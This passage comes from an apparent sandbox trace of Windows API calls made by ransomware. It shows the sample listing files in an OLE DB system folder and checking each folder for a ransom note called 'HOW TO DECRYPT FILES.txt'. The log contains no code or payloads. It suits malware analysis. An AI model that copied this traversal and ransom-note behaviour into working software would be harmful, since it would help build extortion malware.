Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.828] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.828] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="msdasqlr.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" [0059.828] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0059.828] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.828] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdatl3.dll") returned -1 [0059.828] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdatl3.dll") returned -1 [0059.828] lstrcmpiA (lpString1="", lpString2="msdatl3.dll") returned -1 [0059.828] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned="msdasqlr.dll" [0059.828] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.828] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.829] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.829] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.829] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="msdatl3.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" [0059.829] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0059.829] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.841] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msxactps.dll") returned -1 [0059.841] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msxactps.dll") returned -1 [0059.841] lstrcmpiA (lpString1="", lpString2="msxactps.dll") returned -1 [0059.841] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned="msdatl3.dll" [0059.841] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.841] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.841] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.841] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.841] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="msxactps.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" [0059.841] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0059.842] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.842] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="oledb32.dll") returned -1 [0059.842] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="oledb32.dll") returned -1 [0059.842] lstrcmpiA (lpString1="", lpString2="oledb32.dll") returned -1 [0059.842] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned="msxactps.dll" [0059.842] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.842] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.842] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.842] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.842] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="oledb32.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" [0059.842] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0059.842] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.842] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="oledb32r.dll") returned -1 [0059.842] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="oledb32r.dll") returned -1 [0059.842] lstrcmpiA (lpString1="", lpString2="oledb32r.dll") returned -1 [0059.842] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned="oledb32.dll" [0059.842] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.842] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.842] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.842] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.842] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="oledb32r.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" [0059.843] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0059.843] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.843] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="oledbjvs.inc") returned -1 [0059.843] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="oledbjvs.inc") returned -1 [0059.843] lstrcmpiA (lpString1="", lpString2="oledbjvs.inc") returned -1 [0059.843] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned="oledb32r.dll" [0059.843] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.843] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.843] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.843] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.843] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="oledbjvs.inc" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" [0059.843] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0059.843] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.843] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="oledbvbs.inc") returned -1 [0059.843] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="oledbvbs.inc") returned -1 [0059.843] lstrcmpiA (lpString1="", lpString2="oledbvbs.inc") returned -1 [0059.843] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned="oledbjvs.inc" [0059.843] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.843] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.843] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.843] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.843] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="oledbvbs.inc" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" [0059.844] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0059.844] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.844] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sqloledb.dll") returned -1 [0059.844] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sqloledb.dll") returned -1 [0059.844] lstrcmpiA (lpString1="", lpString2="sqloledb.dll") returned -1 [0059.844] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned="oledbvbs.inc" [0059.844] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.844] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.844] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.844] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.844] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="sqloledb.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" [0059.844] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0059.844] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.844] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sqloledb.rll") returned -1 [0059.844] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sqloledb.rll") returned -1 [0059.844] lstrcmpiA (lpString1="", lpString2="sqloledb.rll") returned -1 [0059.844] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned="sqloledb.dll" [0059.844] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.844] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.844] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.845] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.845] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="sqloledb.rll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" [0059.845] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0059.845] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.845] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sqlxmlx.dll") returned -1 [0059.845] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sqlxmlx.dll") returned -1 [0059.845] lstrcmpiA (lpString1="", lpString2="sqlxmlx.dll") returned -1 [0059.845] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned="sqloledb.rll" [0059.845] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.845] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.845] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.845] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.845] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="sqlxmlx.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" [0059.845] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0059.845] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.845] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sqlxmlx.rll") returned -1 [0059.845] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sqlxmlx.rll") returned -1 [0059.845] lstrcmpiA (lpString1="", lpString2="sqlxmlx.rll") returned -1 [0059.845] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned="sqlxmlx.dll" [0059.845] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.846] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.846] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.846] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.846] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="sqlxmlx.rll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" [0059.846] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0059.846] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.846] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="xmlrw.dll") returned -1 [0059.846] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="xmlrw.dll") returned -1 [0059.846] lstrcmpiA (lpString1="", lpString2="xmlrw.dll") returned -1 [0059.846] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned="sqlxmlx.rll" [0059.846] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.846] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.846] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.846] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.846] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="xmlrw.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" [0059.846] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, 